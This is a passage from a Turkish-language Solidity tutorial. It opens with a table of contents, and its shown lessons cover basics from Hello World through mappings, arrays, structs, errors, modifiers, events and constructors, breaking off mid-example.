

İçindekiler Tablosu

[Hello World 3](#_Toc98623923)

[First Application 3](#_Toc98623924)

[Primitive Data Types 3](#_Toc98623925)

[Variables 4](#_Toc98623926)

[Constants 5](#_Toc98623927)

[Immutable 5](#_Toc98623928)

[Reading and Writing to a State Variable 5](#_Toc98623929)

[Ether and Wei 6](#_Toc98623930)

[Gas 6](#_Toc98623931)

[How much ether do you need to pay for a transaction? 6](#_Toc98623932)

[Gas Limit 6](#_Toc98623933)

[If / Else 7](#_Toc98623934)

[For and While Loop 7](#_Toc98623935)

[Mapping 8](#_Toc98623936)

[Array 9](#_Toc98623937)

[Examples of removing array element 10](#_Toc98623938)

[Enum 11](#_Toc98623939)

[Declaring and importing Enum 12](#_Toc98623940)

[Structs 13](#_Toc98623941)

[Declaring and importing Struct 14](#_Toc98623942)

[Data Locations - Storage, Memory and Calldata 14](#_Toc98623943)

[Function 15](#_Toc98623944)

[View and Pure Functions 16](#_Toc98623945)

[Error 17](#_Toc98623946)

[Function Modifier 18](#_Toc98623947)

[Events 19](#_Toc98623948)

[Constructor 20](#_Toc98623949)

[Inheritance 21](#_Toc98623950)

[Shadowing Inherited State Variables 22](#_Toc98623951)

[Calling Parent Contracts 23](#_Toc98623952)

[Visibility 24](#_Toc98623953)

[Interface 25](#_Toc98623954)

[Payable 27](#_Toc98623955)

[Sending Ether (transfer, send, call) 27](#_Toc98623956)

[How to send Ether? 27](#_Toc98623957)

[How to receive Ether? 28](#_Toc98623958)

[Which method should you use? 28](#_Toc98623959)

[Fallback 29](#_Toc98623960)

[Call 30](#_Toc98623961)

[Delegatecall 31](#_Toc98623962)

[Function Selector 31](#_Toc98623963)

[Calling Other Contract 32](#_Toc98623964)

[Contract that Creates other Contracts 33](#_Toc98623965)

[Try Catch 34](#_Toc98623966)

[Import 35](#_Toc98623967)

[Local 35](#_Toc98623968)

[External 36](#_Toc98623969)

[Library 36](#_Toc98623970)

[ABI Decode 37](#_Toc98623971)

[Hashing with Keccak256 38](#_Toc98623972)

[Verifying Signature 39](#_Toc98623973)

[Ether Wallet 41](#_Toc98623974)

[Multi-Sig Wallet 42](#_Toc98623975)

[Merkle Tree 45](#_Toc98623976)

[Iterable Mapping 47](#_Toc98623977)

[ERC20 48](#_Toc98623978)

[Create your own ERC20 token 50](#_Toc98623979)

[Contract to swap tokens 50](#_Toc98623980)

[ERC721 52](#_Toc98623981)

[Precompute Contract Address with Create2 56](#_Toc98623982)

[Minimal Proxy Contract 58](#_Toc98623983)

[Upgradeable Proxy 60](#_Toc98623984)

[Deploy Any Contract 61](#_Toc98623985)

[Write to Any Slot 62](#_Toc98623986)

[Uni-Directional Payment Channel 63](#_Toc98623987)

[Bi-Directional Payment Channel 64](#_Toc98623988)

[English Auction 67](#_Toc98623989)

[Auction 67](#_Toc98623990)

[After the auction 68](#_Toc98623991)

[Dutch Auction 69](#_Toc98623992)

[Auction 69](#_Toc98623993)

[Crowd Fund 71](#_Toc98623994)

[Multi Call 73](#_Toc98623995)

[Multi Delegatecall 74](#_Toc98623996)

[Re-Entrancy 75](#_Toc98623997)

[Vulnerability 75](#_Toc98623998)

[Preventative Techniques 77](#_Toc98623999)

[Arithmetic Overflow and Underflow 77](#_Toc98624000)

[Vulnerability 77](#_Toc98624001)

[Preventative Techniques 78](#_Toc98624002)

[Self Destruct 78](#_Toc98624003)

[Vulnerability 79](#_Toc98624004)

[Preventative Techniques 80](#_Toc98624005)

[Accessing Private Data 80](#_Toc98624006)

[Vulnerability 80](#_Toc98624007)

[Preventative Techniques 82](#_Toc98624008)

[Delegatecall 83](#_Toc98624009)

[Vulnerability 83](#_Toc98624010)

[Preventative Techniques 85](#_Toc98624011)

[Source of Randomness 85](#_Toc98624012)

[Vulnerability 85](#_Toc98624013)

[Preventative Techniques 86](#_Toc98624014)

[Denial of Service 87](#_Toc98624015)

[Vulnerability 87](#_Toc98624016)

[Preventative Techniques 88](#_Toc98624017)

[Phishing with tx.origin 88](#_Toc98624018)

[What's the difference between msg.sender and tx.origin? 88](#_Toc98624019)

[Vulnerability 88](#_Toc98624020)

[Preventative Techniques 89](#_Toc98624021)

[Hiding Malicious Code with External Contract 90](#_Toc98624022)

[Vulnerability 90](#_Toc98624023)

[Preventative Techniques 91](#_Toc98624024)

[Honeypot 91](#_Toc98624025)

[Vulnerability 91](#_Toc98624026)

[Front Running 93](#_Toc98624027)

[Vulnerability 93](#_Toc98624028)

[Preventative Techniques 94](#_Toc98624029)

[Block Timestamp Manipulation 94](#_Toc98624030)

[Vulnerability 94](#_Toc98624031)

[Preventative Techniques 95](#_Toc98624032)

[Signature Replay 95](#_Toc98624033)

[Vulnerability 95](#_Toc98624034)

[Preventative Techniques 96](#_Toc98624035)

[Bypass Contract Size Check 98](#_Toc98624036)

[Vulnerability 98](#_Toc98624037)

[Echidna 99](#_Toc98624038)

[Testing Time and Sender 100](#_Toc98624039)

[Uniswap V2 Swap 101](#_Toc98624040)

[Swap 101](#_Toc98624041)

[Uniswap V2 Add Remove Liquidity 103](#_Toc98624042)

[Add / Remove Liquidity 103](#_Toc98624043)

[Uniswap V2 Optimal One Sided Supply 104](#_Toc98624044)

[Optimal One Sided Supply 104](#_Toc98624045)

[Chainlink Price Oracle 107](#_Toc98624046)

[ETH / USD Price Oracle 107](#_Toc98624047)

[Staking Rewards 108](#_Toc98624048)

[Staking Rewards 108](#_Toc98624049)

[Constant Sum AMM 110](#_Toc98624050)

[Constant Product AMM 112](#_Toc98624051)

## Hello World

pragma  Solidity’nin denetleyici sürümünü belirtir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

*// derleyici sürümü 0.8.10'dan büyük veya eşit ve 0.9.0'dan küçük olmalıdır*

pragma solidity ^0.8.10;

contract HelloWorld {

string public greet = "Hello World!";

}

## İlk Uygulama

Burada sayım deposunu alabileceğiniz, artırabileceğiniz ve azaltabileceğiniz basit bir sözleşme bulunmaktadır.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Counter {

uint public count;

*// Geçerli sayıyı alma işlevi*

function get() public view returns (uint) {

return count;

}

*// Sayıyı 1 artırma işlevi*

function inc() public {

count += 1;

}

*// Sayıyı 1 azaltan fonksiyon*

function dec() public {

count -= 1;

}

}

## İlkel Veri Türleri (Primitive Data Types)

Burada sizi Solidity'de bulunan bazı ilkel veri türleriyle tanıştırıyoruz.

* boolean
* uint
* int
* address

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Primitives {

bool public boo = true;

*/\**

*uint işaretsiz tamsayı anlamına gelir, yani negatif olmayan tamsayılar*

*farklı boyutlar mevcuttur*

*uint8 0 ile 2 arasında değişir \*\* 8 - 1*

*uint16 0 ile 2 arasında değişir \*\* 16 - 1*

*...*

*uint256, 0 ile 2 arasında değişir \*\* 256 - 1*

*\*/*

uint8 public u8 = 1;

uint public u256 = 456;

uint public u = 123; // uint, uint256 için bir takma addır

*/\**

*int türleri için negatif sayılara izin verilir.*

*Uint gibi, int8'den int256'ya kadar farklı aralıklar mevcuttur*

*int256, -2 \*\* 255 ile 2 \*\* 255 - 1 arasında değişir*

*int128, -2 \*\* 127 ile 2 \*\* 127 - 1 arasında değişir*

*\*/*

int8 public i8 = -1;

int public i256 = 456;

int public i = -123; *// int, int256 ile aynı*

*// minimum ve maksimum int*

int public minInt = type(int).min;

int public maxInt = type(int).max;

address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;

*/\**

*Solidity'de veri türü baytı, bir bayt dizisini temsil eder.*

*Solidity iki tür bayt türü sunar:*

*- sabit boyutlu bayt dizileri*

*- dinamik olarak boyutlandırılmış bayt dizileri.*

*Solidity'deki bayt terimi, dinamik bir bayt dizisini temsil eder.*

*byte[] ifadesinin kısaltmasıdır.*

*\*/*

bytes1 a = 0xb5; *// [10110101]*

bytes1 b = 0x56; *// [01010110]*

*// Varsayılan değerler*

*// Atanmamış değişkenlerin varsayılan bir değeri vardır*

bool public defaultBoo; *// false*

uint public defaultUint; *// 0*

int public defaultInt; *// 0*

address public defaultAddr; *// 0x0000000000000000000000000000000000000000*

}

## Değişkenler (Variables)

Solidity’de 3 tür değişken bulunmaktadır.

* **lokal**
  + bir fonksiyon içinde bildirildi.
  + blokzincirde saklanmaz.
* **state**
  + bir fonksiyonun dışında bildirildi.
  + blokzincirde saklanır.
* **global** (blok zinciri hakkında bilgi sağlar)

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Variables {

*// Durum değişkenleri blok zincirinde saklanır.*

string public text = "Hello";

uint public num = 123;

function doSomething() public {

*// Yerel değişkenler blok zincirine kaydedilmez.*

uint i = 456;

*// İşte bazı global değişkenler*

uint timestamp = block.timestamp; *// Geçerli blok zaman damgası*

address sender = msg.sender; *// arayanın adresi*

}

}

## Sabitler (Constants)

Sabitler değiştirilemeyen değişkenlerdir.

Değerleri sabit kodlanmıştır ve sabitlerin kullanılması gaz maliyetinden tasarruf sağlayabilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Constants {

*// büyük harfli sabit değişkenlere kodlama kuralı*

address public constant MY\_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;

uint public constant MY\_UINT = 123;

}

## Değişmez (Immutable)

Değişmez değişkenler sabitler gibidir. Değişmez değişkenlerin değerleri constructor (kurucu) içinde ayarlanabilir ancak daha sonra değiştirilemez.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Immutable {

*// büyük harfli sabit değişkenlere kodlama kuralı*

address public immutable MY\_ADDRESS;

uint public immutable MY\_UINT;

constructor(uint \_myUint) {

MY\_ADDRESS = msg.sender;

MY\_UINT = \_myUint;

}

}

## Bir Durum Değişkeni Okuma ve Yazma

Bir durum değişkeni yazmak veya güncellemek için bir işlem göndermeniz gerekir.

Öte yandan, durum değişkenlerini herhangi bir işlem ücreti ödemeden ücretsiz olarak okuyabilirsiniz.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract SimpleStorage {

*// Bir sayıyı saklamak için durum değişkeni*

uint public num;

*// Bir durum değişkenine yazmak için bir işlem göndermeniz gerekiyor.*

function set(uint \_num) public {

num = \_num;

}

*// Bir durum değişkeninden işlem göndermeden okuyabilirsiniz.*

function get() public view returns (uint) {

return num;

}

}

## Ether and Wei

İşlem ödeme için:  ether.

Bir doların 100 sente eşit olmasına benzer şekilde, bir ether ‘in karşılığı 1018 wei’ye eşittir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract EtherUnits {

uint public oneWei = 1 wei;

*// 1 wei eşittir 1*

bool public isOneWei = 1 wei == 1;

uint public oneEther = 1 ether;

*// 1 eter, 10^18 wei'ye eşittir*

bool public isOneEther = 1 ether == 1e18;

}

## Gas

### **Bir işlem için ne kadar**  ether  ödemeniz gerekiyor?

 gas spent \* gas price  olarak bildirilen harcanan gazı ve gaz fiyatını;  ether miktarında ödersiniz.

* gas  bir hesaplama birimidir.
* gas spent  bir işlemde kullanılan toplam  gas  miktarıdır.
* gas price  terimi ise bir  gas  başına ne kadar  ether  ödediğinizi göstermektedir.

Gaz fiyatı daha yüksek olan işlemlerin bir bloğa dahil edilme önceliği daha yüksektir.

Kullanılmayan gaz iade edilecektir.

### Gas Limit

Harcayabileceğiniz gaz miktarı için 2 üst sınır vardır.

* gas limit  (İşleminiz için kullanmak istediğiniz maksimum gaz miktarı, sizin tarafınızdan belirlenir)
* block gas limit  (ağ tarafından belirlenen bir blokta izin verilen maksimum gaz miktarı)

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Gas {

uint public i = 0;

*// Gönderdiğiniz tüm gazın bitmesi işleminizin başarısız olmasına neden olur.*

*// Durum değişiklikleri geri alındı.*

*// Harcanan gaz iade edilmez.*

function forever() public {

*// Burada tüm gaz bitene kadar bir döngü çalıştırıyoruz*

*// ve işlem başarısız olur*

while (true) {

i += 1;

}

}

}

## If / Else

Solidity; koşullu ifadeleri  if, else if  ve  else üzerinden destekler.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract IfElse {

function foo(uint x) public pure returns (uint) {

if (x < 10) {

return 0;

} else if (x < 20) {

return 1;

} else {

return 2;

}

}

function ternary(uint \_x) public pure returns (uint) {

*// if (\_x < 10) {*

*// dönüş 1 ;*

*// }*

*// dönüş 2 ;*

*// if / else ifadesini yazmanın kısa yolu*

return \_x < 10 ? 1 : 2;

}

}

## For ve While Döngüsü

Solidity  for, while, ve  do while  döngülerini destekler.

Sınırsız döngüler yazmayın, çünkü bu gaz limitini (gas limit) aşabilir ve işleminizin başarısız olmasına neden olabilir.

Böyle durumlarda,  while  ve  do while  döngüleri nadiren kullanılır.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Loop {

function loop() public {

*// döngü için*

for (uint i = 0; i < 10; i++) {

if (i == 3) {

*// Devam ile bir sonraki yinelemeye geç*

continue;

}

if (i == 5) {

*// Döngüden kırılma ile çık*

break;

}

}

*// döngü sırasında*

uint j;

while (j < 10) {

j++;

}

}

}

## Eşleme / Haritalama (Mapping)

Mapping bu söz dizimine göre yazılmaktadır: mapping(keyType => valueType).

 keyType  herhangi bir yerleşik değer türü, bayt, dize veya sözleşme olabilir.

 valueType  farklı eşleme veya dizi içeren herhangi bir tür olabilir.

Mappings yenilenemez.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Mapping {

*// Adresten uint'e eşleme*

mapping(address => uint) public myMap;

function get(address \_addr) public view returns (uint) {

*// Eşleme her zaman bir değer döndürür.*

*// Değer hiç ayarlanmadıysa, varsayılan değeri döndürür.*

return myMap[\_addr];

}

function set(address \_addr, uint \_i) public {

*// Bu adresteki değeri güncelle*

myMap[\_addr] = \_i;

}

function remove(address \_addr) public {

*// Değeri varsayılan değere sıfırlayın.*

delete myMap[\_addr];

}

}

contract NestedMapping {

*// Yuvalanmış eşleme (bir adresten başka bir eşlemeye eşleme)*

mapping(address => mapping(uint => bool)) public nested;

function get(address \_addr1, uint \_i) public view returns (bool) {

*// Yuvalanmış bir eşlemeden değerler alabilirsiniz*

*// başlatılmamış olsa bile*

return nested[\_addr1][\_i];

}

function set(

address \_addr1,

uint \_i,

bool \_boo

) public {

nested[\_addr1][\_i] = \_boo;

}

function remove(address \_addr1, uint \_i) public {

delete nested[\_addr1][\_i];

}

}

## Dizi (Array)

Array; derleme zamanı sabit boyutu veya dinamik boyutu olabilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Array {

*// Bir diziyi başlatmanın birkaç yolu*

uint[] public arr;

uint[] public arr2 = [1, 2, 3];

*// Sabit boyutlu dizi, tüm elemanlar 0'da başlar*

uint[10] public myFixedSizeArr;

function get(uint i) public view returns (uint) {

return arr[i];

}

*// Solidity tüm diziyi döndürebilir.*

*// Ancak bu fonksiyondan kaçınılmalıdır.*

*// süresiz olarak uzayabilen diziler.*

function getArr() public view returns (uint[] memory) {

return arr;

}

function push(uint i) public {

*// diziye ekle*

*// Bu, dizi uzunluğunu 1 artıracaktır.*

arr.push(i);

}

function pop() public {

*// Remove last element from array*

*// This will decrease the array length by 1*

arr.pop();

}

function getLength() public view returns (uint) {

return arr.length;

}

function remove(uint index) public {

*// Sil, dizi uzunluğunu değiştirmez.*

*// İndeksteki değeri varsayılan değerine sıfırlar,*

*// bu durumda 0*

delete arr[index];

}

function examples() external {

*// bellekte dizi oluştur, sadece sabit boyut oluşturulabilir*

uint[] memory a = new uint[](5);

}

}

### Dizi Öğesini Kaldırma Örnekleri

Öğeleri sağdan sola kaydırarak dizi öğesini kaldırın.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract ArrayRemoveByShifting {

*// [1, 2, 3] -- kaldır(1) --> [1, 3, 3] --> [1, 3]*

*// [1, 2, 3, 4, 5, 6] -- kaldır(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6 ]*

*// [1, 2, 3, 4, 5, 6] -- kaldır(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6 ]*

*// [1] -- kaldır(0) --> [1] --> []*

uint[] public arr;

function remove(uint \_index) public {

require(\_index < arr.length, "index out of bound");

for (uint i = \_index; i < arr.length - 1; i++) {

arr[i] = arr[i + 1];

}

arr.pop();

}

function test() external {

arr = [1, 2, 3, 4, 5];

remove(2);

*// [1, 2, 4, 5]*

assert(arr[0] == 1);

assert(arr[1] == 2);

assert(arr[2] == 4);

assert(arr[3] == 5);

assert(arr.length == 4);

arr = [1];

remove(0);

*// []*

assert(arr.length == 0);

}

}

Son öğeyi kaldırılacak yere kopyalayarak dizi öğesini kaldırın.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract ArrayReplaceFromEnd {

uint[] public arr;

*// Bir elemanın silinmesi dizide bir boşluk yaratır.*

*// Diziyi kompakt tutmanın bir püf noktası,*

*// son elemanı silinecek yere taşıyın.*

function remove(uint index) public {

*// Son elemanı silinecek yere taşıyın*

arr[index] = arr[arr.length - 1];

*// Son elemanı kaldır*

arr.pop();

}

function test() public {

arr = [1, 2, 3, 4];

remove(1);

*// [1, 4, 3]*

assert(arr.length == 3);

assert(arr[0] == 1);

assert(arr[1] == 4);

assert(arr[2] == 3);

remove(2);

*// [1, 4]*

assert(arr.length == 2);

assert(arr[0] == 1);

assert(arr[1] == 4);

}

}

## Sıralama / Numaralandırma (Enum)

Solidity, numaralandırılabilir olanları destekler ve seçimi modellemek ve durumu takip etmek için kullanışlıdır.

Numaralandırmalar bir sözleşmenin dışında bildirilebilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Enum {

*// Sevkiyat durumunu temsil eden numaralandırma*

enum Status {

Pending,

Shipped,

Accepted,

Rejected,

Canceled

}

*// Varsayılan değer, içinde listelenen ilk öğedir*

*// türün tanımı, bu durumda "Beklemede"*

Status public status;

*// uint'i döngüsü*

*// Beklemede - 0*

*// Sevk edildi - 1*

*// Kabul edildi - 2*

*// Reddedildi - 3*

*// İptal edildi - 4*

function get() public view returns (Status) {

return status;

}

*// uint'i girdiye ileterek durumu güncelle*

function set(Status \_status) public {

status = \_status;

}

*// Bunun gibi belirli bir numaraya güncelleyebilirsiniz*

function cancel() public {

status = Status.Canceled;

}

*// delete, numaralandırmayı ilk değerine sıfırlar, 0*

function reset() public {

delete status;

}

}

### Numaralandırma (Enum) Bildirme ve İçe Aktarma

Numaralandırmanın bildirildiği dosya

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*// Bu kaydedilir 'EnumDeclaration.sol'*

enum Status {

Pending,

Shipped,

Accepted,

Rejected,

Canceled

}

Yukarıdaki numaralandırmayı içe aktaran dosya

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

import "./EnumDeclaration.sol";

contract Enum {

Status public status;

}

## Yapı (Structs)

Bir yapı  struct  oluşturarak kendi türünüzü tanımlayabilirsiniz.

İlgili verileri bir arada gruplamak için kullanışlıdırlar.

Yapılar bir sözleşme dışında beyan edilebilir ve başka bir sözleşmede içe aktarılır.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Todos {

struct Todo {

string text;

bool completed;

}

*// 'Yapılacak (todo)' yapı dizisi*

Todo[] public todos;

function create(string memory \_text) public {

*// Bir yapıyı başlatmanın 3 yolu*

*// - onu bir fonksiyon gibi çağırmak*

todos.push(Todo(\_text, false));

*// anahtar değer eşlemesi*

todos.push(Todo({text: \_text, completed: false}));

*// boş bir yapıyı başlat ve sonra güncelle*

Todo memory todo;

todo.text = \_text;

*// todo.completed false olarak başlatıldı*

todos.push(todo);

}

*// Solidity otomatik olarak 'todos' için bir alıcı yarattı, bu yüzden*

*// aslında bu fonksiyona ihtiyacınız yok.*

function get(uint \_index) public view returns (string memory text, bool completed) {

Todo storage todo = todos[\_index];

return (todo.text, todo.completed);

}

*// update text*

function update(uint \_index, string memory \_text) public {

Todo storage todo = todos[\_index];

todo.text = \_text;

}

*// Güncelleme tamamlandı*

function toggleCompleted(uint \_index) public {

Todo storage todo = todos[\_index];

todo.completed = !todo.completed;

}

}

### **Yapı Bildirme ve İçe Aktarma**

Yapının bildirildiği dosya:

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

struct Todo {

string text;

bool completed;

}

Yukarıdaki yapıyı içe aktaran dosya:

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

import "./StructDeclaration.sol";

contract Todos {

*// 'Todo' yapı dizisi*

Todo[] public todos;

}

## Veri Konumları - Depolama, Bellek ve Çağrı Verileri

Değişkenler, verilerin konumunu açıkça belirtmek için  storage (depolama),  memory  (bellek) veya  calldata  (çağrı verileri) olarak bildirilir.

* storage - blokzincir üzerinde bir durum değişkenidir.
* memory - bir fonksiyon çağrılırken oluşan durumdur.
* calldata - fonksiyon belgelerini çağıran özel verilerin konumudur.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract DataLocations {

uint[] public arr;

mapping(uint => address) map;

struct MyStruct {

uint foo;

}

mapping(uint => MyStruct) myStructs;

function f() public {

*// durum değişkenleriyle \_f'yi çağır*

\_f(arr, map, myStructs[1]);

*// bir eşlemeden bir yapı al*

MyStruct storage myStruct = myStructs[1];

*// bellekte bir yapı oluştur*

MyStruct memory myMemStruct = MyStruct(0);

}

function \_f(

uint[] storage \_arr,

mapping(uint => address) storage \_map,

MyStruct storage \_myStruct

) internal {

*// depolama değişkenleriyle bir şeyler yap*

}

*// Bellek değişkenlerini döndürebilirsiniz*

function g(uint[] memory \_arr) public returns (uint[] memory) {

*// bellek dizisiyle bir şeyler yap*

}

function h(uint[] calldata \_arr) external {

*// calldata dizisiyle bir şeyler yap*

}

}

## İŞLEV (Function)

Bir fonksiyondan çıktıları döndürmenin birkaç yolu vardır.

Genel işlevler, belirli veri türlerini girdi veya çıktı olarak kabul edemez.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Function {

*// Fonksiyonlar birden çok değer döndürebilir.*

function returnMany()

public

pure

returns (

uint,

bool,

uint

)

{

return (1, true, 2);

}

*// Dönen değerler isimlendirilebilir.*

function named()

public

pure

returns (

uint x,

bool b,

uint y

)

{

return (1, true, 2);

}

*// Dönüş değerleri isimlerine atanabilir.*

*// Bu durumda return ifadesi atlanabilir.*

function assigned()

public

pure

returns (

uint x,

bool b,

uint y

)

{

x = 1;

b = true;

y = 2;

}

*// Bir başkasını çağırırken yıkım atamasını (destructuring assignment) kullan*

*// birden çok değer döndüren işlev.*

function destructuringAssignments()

public

pure

returns (

uint,

bool,

uint,

uint,

uint

)

{

(uint i, bool b, uint j) = returnMany();

*// Değerler dışarıda bırakılabilir.*

(uint x, , uint y) = (4, 5, 6);

return (i, b, j, x, y);

}

*// Girdi veya çıktı için harita kullanılamaz*

*// Girdi için dizi kullanabilir*

function arrayInput(uint[] memory \_arr) public {}

*// Çıktı için dizi kullanabilir*

uint[] public arr;

function arrayOutput() public view returns (uint[] memory) {

return arr;

}

}

## Görünüm ve Saf İşlevler

Alıcı (getter) işlevleri,  view  (görünüm) veya  pure (saf) olarak bildirilebilir.

View  Görünüm işlevi, hiçbir durumun değişmeyeceğini bildirir.

Pure  Pure işlevi, hiçbir durum değişkeninin değiştirilmeyeceğini veya okunmayacağını bildirir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract ViewAndPure {

uint public x = 1;

*// Durumu değiştirmeyeceğine söz ver.*

function addToX(uint y) public view returns (uint) {

return x + y;

}

*// Durumu değiştirmeyeceğine veya durumdan okumayacağına söz ver.*

function add(uint i, uint j) public pure returns (uint) {

return i + j;

}

}

## Hata (Error)

Hata, bir işlem sırasında durumda yapılan tüm değişiklikleri geri alır.

 Require,  revert  veya  assert 'ı arayarak bir hata oluşturabilirsiniz.

* require  çalıştırmadan önce girdileri ve koşulları doğrulamak için kullanılır.
* revert  esasen  require’a benzer. Ayrıntılar için aşağıdaki koda bakın.
* assert  asla yanlış olmaması gereken kodu kontrol etmek için kullanılır. Başarısız iddia, muhtemelen bir hata olduğu anlamına gelir.

Gazdan tasarruf etmek için özel hatayı kullanın.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Error {

function testRequire(uint \_i) public pure {

*// Require, aşağıdaki gibi koşulları doğrulamak için kullanılmalıdır:*

*// - girişler*

*// - yürütmeden önceki koşullar*

*// - çağrılardan diğer işlevlere değer döndürür*

require(\_i > 10, "Input must be greater than 10");

}

function testRevert(uint \_i) public pure {

*// Geri döndürme, kontrol edilecek koşul karmaşık olduğunda kullanışlıdır.*

*// Bu kod, yukarıdaki örnekle tamamen aynı şeyi yapıyor*

if (\_i <= 10) {

revert("Input must be greater than 10");

}

}

uint public num;

function testAssert() public view {

*// Assert yalnızca dahili hataları test etmek için kullanılmalıdır,*

*// ve değişmezleri kontrol etmek için.*

*// Burada sayının her zaman 0'a eşit olduğunu iddia ediyoruz*

*// num değerini güncellemek imkansız olduğundan*

assert(num == 0);

}

*// özel hata*

error InsufficientBalance(uint balance, uint withdrawAmount);

function testCustomError(uint \_withdrawAmount) public view {

uint bal = address(this).balance;

if (bal < \_withdrawAmount) {

revert InsufficientBalance({balance: bal, withdrawAmount: \_withdrawAmount});

}

}

}

İşte başka bir örnek:

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Account {

uint public balance;

uint public constant MAX\_UINT = 2\*\*256 - 1;

function deposit(uint \_amount) public {

uint oldBalance = balance;

uint newBalance = balance + \_amount;

*// balance + \_amount does not overflow if balance + \_amount >= balance*

require(newBalance >= oldBalance, "Overflow");

balance = newBalance;

assert(balance >= oldBalance);

}

function withdraw(uint \_amount) public {

uint oldBalance = balance;

*// balance - \_amount does not underflow if balance >= \_amount*

require(balance >= \_amount, "Underflow");

if (balance < \_amount) {

revert("Underflow");

}

balance -= \_amount;

assert(balance <= oldBalance);

}

}

## İşlev Değiştirici (Function Modifier)

Değiştiriciler, bir işlev çağrısından önce ve/veya sonra çalıştırılabilen kodlardır.

Değiştiriciler şunlar için kullanılabilir:

* Erişimi kısıtla
* Girişleri doğrulama
* Yeniden giriş hackine karşı koruma

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract FunctionModifier {

*// Nasıl kullanılacağını göstermek için bu değişkenleri kullanacağız*

*// değiştiriciler.*

address public owner;

uint public x = 10;

bool public locked;

constructor() {

*// İşlem göndericisini sözleşmenin sahibi olarak ayarlayın.*

owner = msg.sender;

}

*// Arayanın sahibinin olup olmadığını kontrol etmek için değiştirici*

*// sözleşme.*

modifier onlyOwner() {

require(msg.sender == owner, "Not owner");

*// Alt çizgi sadece içeride kullanılan özel bir karakterdir*

*// bir fonksiyon değiştirici ve Solidity'ye şunu söyler:*

*// kodun geri kalanını yürüt.*

\_;

}

*// Değiştiriciler girdi alabilir. Bu değiştirici,*

*// girilen adres sıfır adres değil.*

modifier validAddress(address \_addr) {

require(\_addr != address(0), "Not valid address");

\_;

}

function changeOwner(address \_newOwner) public onlyOwner validAddress(\_newOwner) {

owner = \_newOwner;

}

*// Değiştiriciler bir fonksiyondan önce ve/veya sonra çağrılabilir.*

*// Bu değiştirici, bir işlevin çağrılmasını engellerken*

*// hala yürütülüyor.*

modifier noReentrancy() {

require(!locked, "No reentrancy");

locked = true;

\_;

locked = false;

}

function decrement(uint i) public noReentrancy {

x -= i;

if (i > 1) {

decrement(i - 1);

}

}

}

## Etkinlikler (Events)

Events , Ethereum blok zincirine giriş yapılmasına izin verir. Events (etkinlikler) için bazı kullanım durumları şunlardır:

* Events dinleme ve kullanıcı arayüzünü güncelleme
* Ucuz bir depolama şekli

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Event {

*// Olay bildirimi*

*// En fazla 3 parametre indekslenebilir.*

*// Dizine alınmış parametreler, günlükleri dizine alınmış parametreye göre filtrelemenize yardımcı olur*

event Log(address indexed sender, string message);

event AnotherLog();

function test() public {

emit Log(msg.sender, "Hello World!");

emit Log(msg.sender, "Hello EVM!");

emit AnotherLog();

}

}

## Yapıcı / Oluşturucu(Constructor)

 constructor  (yapıcı), sözleşme oluşturulduktan sonra yürütülen isteğe bağlı bir işlevdir.

Aşağıda, yapıcılara ( constructors) bağımsız değişkenlerin nasıl iletileceğine ilişkin örnekler verilmiştir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*// Temel sözleşme X*

contract X {

string public name;

constructor(string memory \_name) {

name = \_name;

}

}

*// Temel sözleşme Y*

contract Y {

string public text;

constructor(string memory \_text) {

text = \_text;

}

}

*// Üst sözleşmeyi parametrelerle başlatmanın 2 yolu vardır.*

*// Parametreleri kalıtım listesinde buraya iletin.*

contract B is X("Input to X"), Y("Input to Y") {

}

contract C is X, Y {

*// Parametreleri yapıcıda buraya iletin,*

*// fonksiyon değiştiricilere benzer.*

constructor(string memory \_name, string memory \_text) X(\_name) Y(\_text) {}

}

*// Üst yapıcılar her zaman kalıtım sırasına göre çağrılır*

*// listede listelenen ana sözleşmelerin sırasına bakılmaksızın*

*// alt sözleşmenin kurucusu.*

*// Çağrılan yapıcıların sırası:*

*// 1. X*

*// 2. Y*

*// 3 BOYUTLU*

contract D is X, Y {

